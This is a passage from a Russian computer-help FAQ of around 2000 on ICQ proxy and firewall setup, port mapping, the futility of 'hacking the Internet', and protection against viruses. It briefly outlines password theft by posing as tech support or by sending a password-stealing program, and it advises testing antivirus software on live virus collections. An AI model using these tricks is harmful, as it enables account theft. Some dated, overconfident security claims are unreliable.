Итак, будем считать, администратор не препятствует использованию "Яськи" и сообщает вам все необходимые сведения о настройке Firewall (Proxy-сервера). Указываем тип Proxy сервера – SOCKS 4 или SOCKS 5, переводя радио кнопку в соответствующее положение – "I am using a SOCKS 5 proxy server" или "I am using a SOCKS 5 proxy server" соответственно. Положение "I dont use a SOCKS Proxy server on my firewall or I am using another Proxy server" ("Моя не использует SOCKS Proxy сервер на моем firewall или моя использует другой – надо полагать тип Proxy сервера") следует выбрать если ваша локальная сеть ограждена по периметру Firewall-ом или выход в Интернет осуществляется через Proxy-сервер другого типа (интересно бы знать какого? Через типовой шлюз уровня приложений ICQ работать явно не будет – ей подавай нечто специфичное).

Настройка Firewall. Пейджер ICQ использует для своих нужд оба транспортных протокола – и TCP (транспортный протокол с постоянной установкой соединений), и UDP (транспортный протокол без установки соединения поддерживающий лишь посылку и получение дейтаграмм). На Firewall-е должны быть открыты следующие порты: UDP порт номер 4000 для исходящих дейтаграмм и по возможности все TCP-порты для входящих пакетов (хорошая идея – запечатлеть лицо администратора в том момент, когда его просят открыть все порты для входящих соединений – это все равно что в подъемном мосту, защищающим вход в крепость, поделать отверстие размером с сам мост). Впрочем, потребности в диапазоне портов можно и ограничить – чтобы умерить "Аськин" аппетит необходимо в графе "TCP Prot Allocation" ("Выделение TCP-портов") переместить радио копку с положения "Use dynamically allocated port numbers" ("Использовать динамическое выделение номеров портов") в котором она находилась по умолчанию, в положение "Use the following TCP listen ports for incoming event" ("Использовать следующие номера TCP-портов для установки сервера, ожидающего приема входящих сообщений") – это приведет к разблокированию двух окон ввода, задающих наименьший ("From") и наибольший ("to") номера допустимых портов – по умолчанию 2000 и 4000 соответственно. Диапазон портов следует выбирать согласно величине вашего контактного списка – для каждого абонента, с которым установлено соединение (то есть, попросту говоря, идет обмен сообщениями) необходим один порт. Т.е. в большинстве случаев пары десятков портов с лихвой хватит. При желании можно вообще избежать открытия портов на Firewall – вместо этого администратор может сделать mapping (см. "subQ:Что такое TCP/UDP mapping?") – впрочем, такой трюк не сильно повышает безопасность…

Настройка SOCKS 4 Proxy сервера: в строке "SOCKS 4 Host" ("узел SOCKS 4") графы "SOCKS 4 Server" ("SOCKS 4 Сервер") укажите адрес своего Proxy-сервера, а строчкой ниже – номер порта (по умолчанию 1080). Если значение по умолчанию не действует, уточните номер порта у администратора сети. Это лучше сделать сразу, поскольку, все равно к администратору придется обращаться с просьбой установки mapping-а (см. "subQ:Что такое TCP/UDP mapping?") – SOCKS 4 Proxy сервер не может "проксить" UDP-протокол, который необходим ICQ для работы, и его mapping приходится настраивать самостоятельно, переправляя все обращения на сервер по 4000 порту. Номер внутреннего порта администратор назначает самостоятельно и он может быть любым – не обязательно 4000.

Настройка SOCK 5 Proxy сервера: в строке "SOCKS 5 Host" ("узел SOCKS 5") графы "SOCKS 5 Server" ("SOCKS 5 Сервер") укажите адрес своего Proxy-сервера, а строчкой ниже – номер порта (по умолчанию 1080). Если сервер требует обязательной авторизации (это можно уточнить у администратора сети) взведите галочку "Use RFC 1929 (Cleartext) authentication for SOCKS" (Использовать открытый пароль для SOCKS аутентификации, согласно спецификации RFC 1929) – это приведет к разблокированию полей "SOCKS 5 Username" ("Имя пользователя для входа на SOCKS сервер") и "SOCKS 5 Password" ("Пароль для входа на SOCKS 5 сервер") в которые следует занести имя пользователя и пароль соответственно. Вполне возможно, придется бежать в ближайший магазин за пол-литрой для умасливания администратора – те страсть как не любят разрешать открытую передачу пароля по сети, а более изощренные способы аутентификации с зашифрованным паролем ICQ не понимает.

Родственные вопросы:

subQ:Что такое TCP/UDP mapping?

subQ:Что такое TCP/UDP mapping?

Технология "TCP/UDP mapping" позволяет клиенту локальной сети, сидящему за Proxy-сервером, принимать входящие соединения, а администратору ограничивать своих подопечных, предоставляя им доступ только к заранее оговоренным ресурсам. Кроме того, mapping-серверы очень просто программировать и разработать их может сам же администратор, написав буквально десяток строк на Perl или чуть-чуть больше на Си.

Грубо говоря, TCP/UDP mapping это до предела упрощенный TCP/UDP Proxy-сервер. Принцип его работы в общих чертах заключается в следующем – Proxy ожидает подключений от локальных клиентов по некоторому порту, а, дождавшись – устанавливает соединение с заранее оговоренным Интернет – сервером по заранее оговоренному порту, причем номера портов по обе стороны не обязательно должны совпадать. Аналогично, такой Proxy сервер может принимать входящие включения извне сети и направлять их заранее оговоренному клиенту.

Например, пусть клиенты локальной сети хотят получить доступ к серверам телеконференций находящимся вне локальной сети, где-то там, в Интернет. Скажем, это , и . Администратор Proxy устанавливает mapping – все подключения к Proxy-серверу по 119 порту он будет переправлять на сервер порт 119. Пользователи, желающие читать конференции с сервера Microsoft, должны прописать в настройках своего клиента не адрес , а адрес своего Proxy-сервера, который и осуществляет такое перенаправление. То есть, для клиентов локальной сети Proxy-сервер как бы станет сервером .

Хорошо, а если кому-то потребуется обратиться еще к одному серверу новостей, скажем, – "mapping" двух серверов на один и тот же порт невозможен, т.к. Proxy не сможет понять, что от него хотят и к какому именно серверу следует переправлять пакеты. Поэтому, приходится идти на хитрость – пусть при соединении с Proxy-сервером по некоторому порту отличному от 119, т.к. этот порт уже занят, например, 666 – Proxy будет переправлять клиента на сервер порт 119. Пользователям для связи с понадобится указать в настройках программы-клиента адрес своего Proxy-сервера и порт 666 – и все будет работать нормально! Конечно, при условии, что используемое приложение допускает задание нестандартного порта для входа на сервер.

Безопасность

Теорема 1 Чем больше знаний, тем меньше денег.

Доказательство:

(1) Время - это деньги.

(2) Знание - это сила.

Для замкнутых систем импульс - постоянная величина: (3) импульс = сила * время = const; подставляя в (3) (1) и (2) имеем: знания * деньги = const.

Теорема доказана

Астрономический фольклор

A:Как взломать Интернет (т.е. получить бесплатный доступ)?

"Как взломать Интернет" – слышится буквально во всех конференциях прямо или косвенно связанных с взломом, коммуникациями и сетями. Вопрос технически некорректен, ибо если уж и ломать, то не Интернет – совокупность узлов, связанных друг с другом, – а защиту от несанкционированного доступа конкретного узла (применительно к бесплатному доступу – узла провайдера). Защиты же сильно варьируются от узла к узлу, поэтому никакого универсального способа взлома "всего Интернет" не существует.

Даже если бы некий гениальный хакер и придумал такой способ – не долго бы он оставался актуальным! Разработчики систем защиты не даром свой хлеб едят и на появление новых атак отвечают "заплатками", затыкающими ту или иную лазейку. Разумеется, и у хакеров, и у экспертов по безопасности всегда припрятаны "тузы в рукавах" – невиданные доселе трюки о которых никто не знает, потому и не может защититься, да и оперативность выпуска заплаток порой хромает – бывает, проходят годы, а "дырка" все не затыкается – то ли внимания на нее не обращают, то ли времени не хватает, то ли жаренный петух в известное место еще не клюнул! К тому же, сплошь и рядом встречаются нерадивые администраторы, начисто игнорирующие наличие хакеров и халатно относящиеся к собственной безопасности. Взломать таких даже новичку – раз плюнуть. И ведь ломают же, – судя по сообщениям прессы.

???? Рисунок "карикатура" Посреди океана стоит корабль. Корабль течет. На течи накладывают закладки.

Все это говорит о принципиальной возможности сетевых атак, но отсюда отнюдь не вытекает существование некого универсального автоматического взломщика. "Как это не вытекает" – удивится иной читатель – "Существуют же автоматизированные средства для поиска уязвимости, например, тот же SATAN (не к ночи он будет упомянут)!".

Существовать-то они, может быть, и существуют, да вот проку с них, как с козла известно чего. Упомянутый SATAN свободно доступен в сети {>>>> сноска /~zen/satan/satan.html}, но безнадежно устарел не на один ледниковый период и совершенно бесполезен – именно в силу своей массовой распространенности. Дыры, которые он ищет, не заткнул только самый зауханный администратор. (Тем более, он, строго говоря, ищет не дыры, а потенциальную возможность существования дыры в данном месте).

Все действительно стоящие средства, например RealSecure, распространяются на коммерческой основе и стоят тысячи, а то и десятки тысяч долларов. Они действительно в самом деле позволяют автоматически атаковать даже недурно защищенную сеть, но совершенно недоступны рядовому злоумышленнику, причем не только по причине дороговизны, но и своей чрезмерной сложности – миллионы настроек и тысячи страниц убористой документации – а ну, попробуй-ка, во всем это разберись!

Утилиты, носящие громкое название "взломщик Internet", достаточно широко распространившиеся за последнее время по сети, на самом деле представляют собой зловредные программы в лучшем случае выводящие на экран издевательское послание, а в худшем уничтожающие информацию с жесткого диска – так их создатели, "санитары компьютерного леса" наказывают всех любителей халявы.

Однако не стоит путать "взломщиков Internet" c, так называемыми, эксплоитами – программными реализациями одной или нескольких конкретных атак. Они действительно существуют (см. сайт ) и даже, случается, работают, но спустя какое-то время безнадежно устаревают.

Впрочем, новые дырки обнаруживаются с завидной регулярностью (см. ), а их поток все растет и растет – естественно ж, – программное обеспечение постоянно усложняется и риск допустить ошибку становится все больше и больше. Поэтому в любой момент времени любой узел сети потенциально уязвим.

Можно, не дожидаясь готовых эксплоитов, искать уязвимости самостоятельно. Этому посвящено множество книг, в том числе и "Атака из Интернет" Ильи Медведовского, "Секреты Хакеров" Стьюатра Маккье, "Техника сетевых атак – приемы противодействия" Криса Касперски, "Техника и философия хакерских атак" его же и масса другой литераторы. Однако всеми авторами предполагается, что временное или постоянное соединение с Интернет у читателя уже имеется.

Основных способы атаки на провайдера это – похищение пароля у легального пользователя и перехват сессии аутентификации (т.е. "подсматривание" пароля в процессе его передачи на сервер при входе в сеть).

Похищение пароля – процесс творческий. Можно позвонить пользователю от имени службы технической поддержки (вариант – написать письмо) и под благовидным предлогом потребовать пароль на бочку; можно послать пользователю хитрую программку, под шумок вытаскивающую пароль с его компьютера, а можно… да много чего еще! Доверчивых людей очень много и ввести их в заблуждение ничего не стоит. Продолжая развивать мысль дальше – можно украсть много-много денег и на них купить доступ в Интернет.

Перехват сеанса аутентификации пользователя на сервере провайдера – в принципе возможен, но требует специальных технических средств, способных перехватывать модемное соединение – обычные модемы на такое не способы, а понадобится специальное оборудование, намного превышающее в стоимости "самый лучший Интернет", но… что только не придумают народные умельцы, лишь бы за Интернет не платить! (см. "Могут ли злоумышленники подключится к телефонной линии и перехватить мой трафик с провайдером?")

Тенденция к удешевлению сетевых услуг (в ряде случаев стоимость ночного времени просто до смешного низка) обещает уменьшить актуальность проблемы "взлома Интернет", поскольку скоро (ну почти скоро) появится возможность использовать его бесплатно или практически бесплатно.

Родственные вопросы:

Что такое заплатки и как их устанавливать?

Как узнать, что моим паролем пользуется кто-то еще? И что потом делать?

Могут ли злоумышленники подключится к телефонной линии и перехватить мой трафик с провайдером?

A: Как защитится от вирусов, полученных из Интернет?

Проводя параллель между вирусами биологическими и вирусами компьютерными, можно заключить: причина практически всех болезней – несоблюдение элементарных гигиенических требований и неразборчивость в выборе партнеров. Типичный компьютерный пользователь похож на маленького ребенка все без разбору тянущего в рот. Если не вирус, так расстройство желудка себя не заставит ждать.

??? рисунок "карикатура" Ребенок тянем в рот всякий мусор. Картинка вторая – ребенок лежит кверху лапами со вздутым животом (вариант – сидит на горшке)

Проблема ведь не только в вирусах, – порой не меньшие разрушения приносят вполне легальные, но сильно "кривые" программы. В особенности это касается дисковых и файловых утилит – частенько после их работы все данные, хранящиеся на винчестере, приходят в полную негодность. Даже ведущих производителей гложут смутные сомнения насчет безгрешности своей продукции, и неспроста – та же Symantec с головы до ног оплевана жалобами пользователей, рыдающих над остатками своих жестких дисков. А все потому, что поставили старого "Доктора" на новую версию Windows. Но кто же мог знать?! И даже вполне безобидные на вид приложения, наподобие календаря или организатора, могут так испортить систему, что ее придется переустанавливать заново!

Первая линия обороны "Карантин": В идеале – каждая новая программа должна проходить "карантин" – тщательное тестирование на отдельном, специально для этого предназначенном, компьютере, на котором нет ничего ценного, что было бы жалко потерять. В крайнем случае, если на второй компьютер не хватает средств, для карантина подойдет и отдельный жесткий диск (можно небольшого размера) – необходимо лишь подключить его так, чтобы программы, запущенные на нем, не "видели" основного диска и при всем своем желании не могли до него "дотянуться".

Этого можно добиться, подцепив "карантинный" диск на отдельный шлейф к "своему" контроллеру IDE. Большинство BIOS позволяют выборочно отключать IDE-контроллеры. "Ответственный" за такую операцию пункт обычно звучит как "Onboard IDE" (интегрированный в материнскую плату IDE) и предлагает на выбор: "Primary" (включен только первый контроллер, разъем которого обычно помечен IDE-0), "Secondary" (включен только второй контроллер – IDE-1), "Both" (включены оба контроллера, - состояние по умолчанию) и "Disabled" (выключены оба контроллера). При отключении первого контроллера, скорее всего, потребуется "научить" BIOS загружаться со второго (не все это умеют делать по умолчанию). Для этого найдите в настройках строку наподобие "Boot device" (загрузочное устройство) и установить ее в "Boot from IDE-1" (Загружаться с IDE-1) или "Boot form secondary IDE". (Загружаться со второго IDE).

Если нет возможности купить даже самый захудалый винчестер, остается тестировать программы на "кошках", - ваших приятелях, устанавливая на свой компьютер только проверенные на чужой шкуре приложения.

"Карантин" сам по себе никаких гарантий не дает и не всегда предотвращает вторжение вирусов, но многократно снижает вероятность любых неприятных происшествий. Если этого недостаточно, второй линией обороны следует расположить антивирусы.

Вторая линия обороны "Антивирусы": Грубо все антивирусы можно разделить на три категории – детекторы (+фаги), мониторы и ревизоры.

Детекторы занимаются поиском известных им вирусов в файлах, загрузочных секторах, памяти и т.д., а фаги лечат то, что находят детекторы; мониторы – обнаруживают и по возможности предотвращают некоторые потенциально опасные – с их точки зрения – действия; ревизоры периодически проверяют файлы на предмет появления любых изменений.

Всем антивирусам присущи определенные недостатки: детекторы не в состоянии обнаруживать новую или видоизмененную заразу – интеллект эвристических анализаторов на сегодняшний день уступает интеллекту вирусописателей, и на эвристике ловятся только самые примитивные вирусы, написанные школьниками, только-только постигающими азы программирования (см. "Подари врагу антивирус!"). Еще проще для вирусописателя перехитрить мониторы, которые, кстати, совершенно бессмысленны в "нормальных" операционных системах наподобие Windows 2000, самостоятельно пресекающих все противоправные действия программного обеспечения. Ревизоры же вообще не препятствуют жизнедеятельности вирусов, а всего лишь позволяют обнаружить их распространение – заражая файл, вирус неизбежно вносит в него изменения, демаскируя свое присутствие в системе. Однако, не размножающиеся зловредные программы, скажем клавиатурные шпионы или "добытчики" паролей (см. "Как предотвратить похищение моего Интернет пароля?#Похищение"), ревизор обнаружить не сможет! К тому же, ревизоры очень плохо справляются с контролем документов – средой обитания макровирусов. Ведь документы, в отличие от исполняемых файлов, интенсивно изменяются пользователем! Попробуй, тут разберись – то ли вирус их заразил, то ли пользователь отредактировал!

Переход на Windows 2000 (см. "В чем преимущества Windows 2000 по сравнению с 9x?") позволяет одним махом решить множество проблем. Во-первых, в силу отличий Windows 2000 от Windows 9x, большинство вирусов и троянских программ под ней просто "не живет", во-вторых, она позволяет защищать критические файлы, запрещая их удаление и модификацию, в-третьих, ее файловая система – NTFS – практически не поддается разрушению – разве что все с самим винчестером; в-четвертых… но, несмотря на всю защищенность, с Windows 2000 прекрасно уживаются макровирусы, поскольку средой их обитания является не операционная система, а само приложение, обрабатывающее документ.

Макровирусы: документы "дырявого" Microsoft Office давно стали стандартом де-факто и отказаться от их использования уже невозможно. Проблема усугубляется тем, что подавляющее большинство пользователей игнорирует рекомендации распространять файлы в форматах, гарантированно не содержащих макросов (например RTF), чем ставит своих получателей в тупик. Например, как быть, если Big-Boss прислал свой ответ в формате Word? Просить его сохранить файл как RTF и повторить пересылку? Сомнительно, чтобы Big-Boss получил от всего этого удовольствие, если ему вообще удастся объяснить что такое RTF.

Уменьшить риск вторжения макровирусов можно запрещением модификации файлов Normal.dot и eefonts.dot (последний – только для Word 2000) – эти файлы излюбленное место обитания макровирусов. Перед установкой защиты рекомендуется на всякий случай удалить Normal.dot, - работоспособность Word-а это не нарушит, – он вновь воссоздаст его при следующем запуске, а вот зараза (если Normal.dot был заражен) будет удалена гарантированно! Правда, вместе с ней погибнут и все личные настройки, например, переопределенные комбинации клавиш, пользовательские стили и т.д. Но в большинстве случаев их можно быстро определить вновь!

Существует один замечательный способ гарантированно (ну, почти, гарантированно) избежать заражения – достаточно лишь открыть документ приложением, заведомо не поддерживающим макросы. Например, редактор "WordPad", входящий в штатную поставку Windows, корректно отображает большинство Word-документов, игнорируя при этом макросы. А утилита "Быстрый просмотр" (также поставляется вместе с Windows, но не устанавливается по умолчанию) позволяет просматривать файлы, созданные и Word, и Excel, и многими другими приложениями, не рискуя подцепить заразу! Чтобы открыть с ее помощью документ, просто щелкните по нему правой кнопкой мыша, выбрав в контекстном меню пункт "Быстрый просмотр". Если такого пункта нет, в "Панели управления" кликните по значку "Установка и удаление программ", перейдите к закладке "Установка Windows", выберите "Стандартные", войдите в них через "Состав" и установите галочку напротив "Быстрый просмотр".

Как и следует из его названия, "Быстрый просмотр" предназначен только для просмотра, но не редактирования документов. А как же быть, если файл требуется не только смотреть, но и работать с ним? На помощь приходит буфер обмена – "выделяем все", создаем новый документ в соответствующем приложении и копируем в него содержимое оригинального документа, автоматически оставляя макросы "за бортом"! Не очень-то удобно, но более короткого пути, по-видимому, не существует.

Всей этой суеты не потребовалось, умей бы Office запрещать выполнение макросов в документах. Вообще-то, такая опция там есть, но срабатывает она далеко не всегда. Злоумышленник может создать макрос, который защита не увидит! В Office 2000 ситуация значительно улучшена, но не все исправлено до конца, к тому же Microsoft так и не сообщает какие именно дыры заткнуты.

Особо стоить отметить ошибки переполнения – не вдаваясь в технические подробности {>>>> сноска Подробнее об ошибках переполнения рассказывается в книге Криса Касперски "Техника сетевых атак"} образно их можно представить так: программист отводит для некоторых целей буфер, а затем заполняет его данными, не проверяя влезают ли они в него или нет. Рано или поздно данные действительно не влезают и затирают память за концом буфера. Очень часто при этом искажаются служебные структуры, например, сохраненный адрес возврата, регистр кадра стека и т.д. Специально подобранной строкой данных злоумышленник может так исказить адрес возврата, чтобы процессор начал выполнять данные, введенные злоумышленником, как код! Теоретически возможно подхватить вирус простым чтением текстового файла! Это не миф параноика, а суровая действительность нашей жизни. Яркий пример – ошибка почтовой программы Outlook Express 5.5 позволяет заразиться еще на стадии приема сообщения с сервера, - задолго до того, как присланное вас письмо успеют проверить антивирусы!

???? Рисунок "карикатура" человек льет в чайник воду из ведра. Вода выливается из носика и обливает человека.

???? Рисунок "карикатура" человек открывает письмо, а оттуда выглядывает (выпрыгивает) злобный вирус

Для устранения ошибок фирмы-производители периодически выпускают "заплатки", выкладывая их на собственный web-сервер. Настоятельно рекомендуется своевременно скачивать и устанавливать их! Чтобы быть постоянно в курсе событий подпишитесь на какую-нибудь рассылку по безопасности (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?")

Третья линия обороны – резервное копирование. Им не следует пренебрегать никогда. Вложения в накопители и носители информации, может быть, не окупаются явно, но сводят к минимуму убытки от "стихийных бедствий" – будь то вирус или физическое разрушение винчестера. (Кстати, кража компьютера также приводит к потере информации, и, чтобы вместе с компьютером не утащили резервные копии, следует хранить их отдельно; по крайней мере, диск с самыми ценными наработками должен находиться в недосягаемом для грабителей месте – например, его можно сдать в банк или надежному приятелю).

Политика резервирования – дело сугубо индивидуальное, например, автор резервируется каждый день. Но, в любом случае, это следует делать не реже, чем раз в неделю. При этом ни в коем случае недопустимо замещать старые файлы новыми! Никогда нельзя быть уверенным наверняка, что резервируемая информация уже не искажена! Допустим, вы набираете реферат и периодически "сбрасываете" его на дискету, записывая поверх прежней копии. Предположим, в какой-то момент файл поражается вирусом, произвольным образом переставляющим слова в тексте или "съедающим" некоторые буквы. Если это не будет замечено сразу (а, чем длиннее документ, тем труднее обнаружить его искажение), в архив попадет испорченная копия, а оригинальная будет утеряна.

В идеальном случае старые копии должны уничтожаться только после завершения проекта (Например, после того как написан реферат, все промежуточные наработки могут быть безболезненно удалены). Однако на практике обходятся гораздо меньшим числом копий, надеясь, что разрушения информации (если таковые будет иметь место) удастся заметить раньше, чем будет затерт последний неискаженный файл. В большинстве случаев (но не всегда!) эти надежды оправдываются. С другой стороны, какой смысл хранить очень древнюю версию документа, если с тех пор он был значительно переработан и изменен?

Следование всем приведенным выше рекомендациям обеспечивает практически полную неуязвимость ваших данных, оберегая их от всех мыслимых и немыслимых бедствий (ну, пожалуй, за исключением землетрясений, наводнений и цунами).

Краткое повторение основных мыслей главы: поставьте себе Windows 2000 и регулярно устанавливайте все обновления и заплатки; испытывайте все новые программы на "карантинном" жестком диске (компьютере); для открытия документов пользуйтесь утилитой "Быстрый просмотр" или аналогичной ей; наконец, никогда не забывайте о пользе резервирования.

Родственные вопросы:

Подари врагу антивирус!

Как предотвратить похищение моего Интернет пароля?#Похищение

В чем преимущества Windows 2000 по сравнению с 9x?

Где можно узнать о самых свежих дырках и последних обновлениях приложений?

Q:Какой антивирус лучше всех?

Изобилие антивирусов ставит пользователя в позу Буриданова осла (по легенде был такой осел, который, стоя на одинаковом расстоянии от двух равных кучек сена, умер с голоду, так и не успев выбрать с какой же из них следует начать трапезу). Пользователю, конечно, голодная смерть не грозит. Однако приобретение широко разрекламированного, но никудышного по качеству антивируса – ничуть не лучше.

Помогать читателю в выборе антивируса – занятие неблагодарное и очень рискованное. Фактически автор берет на себя ответственность за сам антивирус и его разработчиков. Случись вдруг что – автор будет первым виноват. Нет уж! Пускай каждый делает свой выбор самостоятельно! А вот дать несколько советов – дело другое…

В первую очередь следует обращать внимание не на количество распознаваемых вирусов (которое вообще ни о чем не говорит), а на оперативность обновления антивирусных баз и качество детектирования.

В оперативности (или ее отсутствии) убедиться не сложно, а как определить качество детектирования? Для этого достаточно скачать по сети или приобрести на компакт-диске коллекцию живых вирусов (такие диски сейчас продаются буквально на каждом углу) и "натравить" на нее антивирус. Процент верных "попаданий" и определит верхнюю границу качества тестирования.

К слову сказать, вовсе не обязательно приобретать полный антивирусный пакет – большинство производителей бесплатно распространяют усеченную версию, отличающуюся от коммерческой всего лишь отсутствием функции лечения зараженных файлов. Но так ли необходимо лечение, если есть резервная копия? (А она должна быть всегда, т.к. далеко не во всех случаях лечение проходит корректно).

Сложнее протестировать антивирусы-ревизоры. Тут уж без "карантинного" диска не обойтись – следует поселить на него живых вирусов, позволить им спокойно размножаться некоторое время, а затем запустить ревизор – сможет ли он обнаружить изменения?

Другая важная характеристика – устойчивость антивируса к заражению. По логике антивирус должен обладать иммунной системой и уметь удалять заразу из собственного тела. Кому понравится, если антивирус, обнаружив факт своего заражения, просто прекращает работу? А ведь такое поведение – не редкость!

Родственные вопросы:

Подари врагу антивирус!

Вирусы - кибернетический Минотавр или Мания?

Как защитится от вирусов, полученных из Интернет?

А: Подари врагу антивирус!

Отношения к антивирусам бывают самые разные - от фанатичной веры в их безграничное могущество до скептического убеждения в их полной бесполезности. Последнее мнение встречается значительно чаще. И не мудрено - качество многих антивирусных продуктов оставляет желать лучшего и пользы от них зачастую оказывается меньше, чем проблем.

Чаще всего использование антивируса сводится к его запуску в полностью автоматическом режиме "найти заразу и уничтожь". Это что-то вроде ракеты с автоприцеплом, интеллект которой не позволяет отличить самолет противника от стаи птиц. В общем, плакали бедные мирные файлы вместе со всей дисковой подсистемой в придачу.

??? Рисунок "карикатура" обыграть предыдущий абзац

Совершенствование технологий маскировки вирусов происходит быстрее нежели технологий их поиска. В результате возможны (и достаточно часты) как ложные срабатывания (т.е. обнаружение вируса там, где его и в помине нет), так и не распознавание вируса (несмотря на то, что он есть).

С появлением Интернет, техно-крысы заполучили еще один канал распространения своих творений, да какой канал! В эпоху рассвета BBS большим достижением считалось заразить за один раз сто-двести человек – ну, разве можно сравнить это с тем, что возможно сейчас? Стоит выложить программу с тайно внедренным в нее "насекомым" на десяток-другой посещаемых сайтов, как за один день ее могут "подцепить" тысячи пользователей!

К тому времени, пока разработчики антивируса успеют включить штамм вируса в очередное обновление, эпидемия может захватить все континенты (и такие случаи скорее правило, чем исключение). Если вирус писан не школьником, только постигающим азы программирования, а профессионалом, умело противодействующим анализу своего творения, - разработка противоядия может затянуться на неделю, если не больше. Тем временем, вирус будет продолжать свое наступление, проникая по быстрым каналам Интернет в самые отдаленные уголки сети.

Противостать таким вирусам вызвались так называемые "эвристические анализаторы", позволяющие с некоторой вероятностью находить новые, еще не известные вирусы. И все было бы хорошо, ни будь понятие "вирус" таким растяжимым - под эту категорию попадет множество безобидных и мирных программ, например, дисковые утилиты, сами антивирусы и даже… операционные системы!

Напротив, вирусы могут успешно маскироваться под "невинных овечек", обманывая даже самых строгих эвристических анализаторов. Разработчики антивирусов, собственно, и не утверждают, что эвристические анализаторы могут обнаруживать всех новых вирусов, но обещают, что, по крайней мере, девяносто (а может быть, и все девяносто девять) процентов из их будут успешно пойманы.

Такой неумеренный оптимизм рождает смутные сомнения, - помните анекдот о машине, исправной на девяносто девять процентов ("извини дорогой, тормоза попали в последний процент")? Невозможно быть "чуть-чуть беременной", как и "чуть-чуть неисправным". Антивирус либо работает, либо нет. Создатели вируса (за редкими исключениями) не настолько глупы, чтобы не протестировать свою заразу на всех мало-мальски популярных антивирусах - обнаруживают ли они ее или нет. Если обнаруживают, – продолжают совершенствовать свое детище до тех пор, пока оно не станет полностью невидимым.

Известно очень мало случаев когда новые вирусы находились именно эвристическим анализатором, зато "ругательства" на здоровые файлы стали притчей во языцах. Что делать пользователю? Стирать подчистую все, что вызывает подозрение? "Вот-вот", - шутят технокрысы, "зачем писать вирусы, лучше своему врагу подарить антивирус!".

По идее, можно отослать "ругаемый" файл в службу поддержки, - пускай там разбираются - вирус это или нет. Но, даже если оттуда придет ответ (что вовсе не факт), это случится нескоро.

Немногочисленные продвинутые антивирусы (список которых во избежание обвинений в рекламе приводиться не будет), умеют не только ругаться (ругаться-то дело не хитрое, на это много ума не надо), но и мотивировать причины своего неудовольствия. Дескать, вот тут замечено обращение к исполняемому файлу, тут - к системным областям диска, а здесь вообще шифрованный и хитрый-хитрый полиморфный код (с чего бы легальной программе шифроваться?!).

Пользователю предоставляется самому решать - опасная эта программа или нет. Например, если эмулятор 3Dfx, имеет скрытые функции для работы с Интернет, – поневоле задумаешься - настоящий ли эмулятор это, или шпион, тайно похищающий информацию с компьютера. Аналогично, "Кракеру Интернета", будь он действительно "Кракером Интернета", функции удаления файлов с диска совершенно ни к чему! Напротив, утилита, вычищающая "мусор" из "дальних пыльных углов" винчестера, может удалять файлы на вполне легальных основаниях.

А что будет, если вирус поразит какую-нибудь системную утилиту? Правильно, он окажется не обнаруженным, поскольку, эти потенциально опасные действия утилита может совершать и без него! Удивительно ли, что именно таким образом создатели вирусов и пытаются распространять своих "насекомых"?

"Обжегшись" пару раз на вирусах, многие пользователи порой и вовсе отказываются от копирования и установки на свой компьютер всех "нефирменных" программ. А если уж возникает в них необходимость - берут компакт-диск у приятеля, уже проверившего его "стерильность" на собственной шкуре. Риск подцепить заразу при этом уменьшается до нуля, но пользователю, наученному горьким опытом, этого мало, и он аккуратно скачивает с сайта-разработчиков последнюю версию полюбившегося ему антивируса, как говорится, "на всякий пожарный", чтобы уж точно быть уверенным, что никаких вирусов у него нет.

Но незащищенность Интернет позволяет злоумышленнику подсунуть свой жертве не оригинальный антивирус, а его "усовершенствованную" версию, заражающую все файлы во время их сканирования, если не что-то похуже. И такие случаи уже бывали, к тому же неоднократно! И поражались не только конечные пользователи, но и крупные дистрибьюторы!

Еще больше неприятностей доставляют ошибки, допущенные разработчиками антивирусов (антивирус, как и всякая программа, не свободен от ошибок). Нередко они приводят к полному уничтожению всей информации, хранящейся на жестком диске, - а на такую катастрофу способен далеко не каждый вирус!

Как ни крути, а никакой, даже самый "фирменный" и "продвинутый" антивирус не избавляет от необходимости периодического сохранения всей ценной информации на резервных носителях (стримерах, Zip-ах, CD-"писцах" и подобных им). Но если есть резервная копия, - так ли тогда необходим антивирус?

…антивирусы и в самом деле не так надежны, как этого ожидают приобретающие их пользователи. По-настоящему защищенными могут чувствовать себя лишь те, за чьими компьютерами следят живые специалисты, а не автоматические программы.

К сожалению, таковых специалистов никогда не будет достаточно, чтобы охватить весь существующий парк компьютеров, и на ближайшие несколько лет антивирусы останутся единственным предохранительным средством "домашних" пользователей.

От вирусов, как и от СПИДа, предохраняться можно, но безо всяких гарантий на успех. Правда, если вести упорядоченную во всех отношениях жизнь и не иметь отношений с личностями сомнительного происхождения, даже безо всяких предосторожностей риска заразиться практически нет!

В конечном счете, основную проблему представляют собой не вирусы, а низко квалифицированные пользователи (которые иногда занимают места системных администраторов) и упорное нежелание руководства уделять защите информации должное внимание.

По наиболее достоверным оценкам убытки от вирусов не превышают 5%-10% от всех происшествий вообще (вызванных поломками аппаратуры, стихийными бедствиями, неадекватными действиями пользователей и т.д.).

Фактически мы имеем дело с мифом, поддерживаемым заинтересованными в нем людьми (журналистами, специалистами по безопасности, разработчикам антивирусов и, наконец, самими пользователями, которым гораздо выгоднее свались все на вирус, якобы появившейся в самый неожиданный момент, и уничтоживший всю сделанную работу).

В "нормальных" операционных системах таких, например, как Windows NT или Windows 2000, проблема вирусов не столь актуальна, поскольку, они могут запретить модификацию исполняемых файлов и не допускают уничтожения критически важных данных. Обойти же такую защиту вирус сможет только теоретически.

Хотите обезопасить себя и навсегда забыть это страшное слово "вирус"? Тогда отправляйтесь в ближайший магазин за диском с Widows NT и спите спокойно!

Родственные вопросы:

Вирусы - кибернетический Минотавр или Мания?

В чем преимущества Windows 2000 по сравнению с 9x?

Q:Вирусы - кибернетический Минотавр или Мания?

Говорить о морали и этике вирусописателей не то что бы трудно, но бесполезно. Уже не раз и не два по этому поводу вспыхивали полемики, подогреваемые новыми вирусами, Мамаем проносящихся по жестким дискам беззащитных пользователей.

Впрочем, таких ли уж и беззащитных? Помнится, одно время агрессивные фидошики долго носились с идей организации штаба по отрыванию (пардон, но слова из песни не выкинешь), ведущего компонента детородных органов вирусописателям.

??? Рисунок "карикатура" обыграть предыдущий абзац

Другие же предлагали их "мирно" попинать башмаками, или "всего лишь" исключить из института, выгнать с работы или устроить другие козни...

Словом, попадали ли действия вирусописателей с юридической точки зрения под статью уголовного кодекса – это еще неизвестно, а вот "потерпевшие" были явно готовы нарушить все права и нормы, дабы восторжествовала "справедливость".

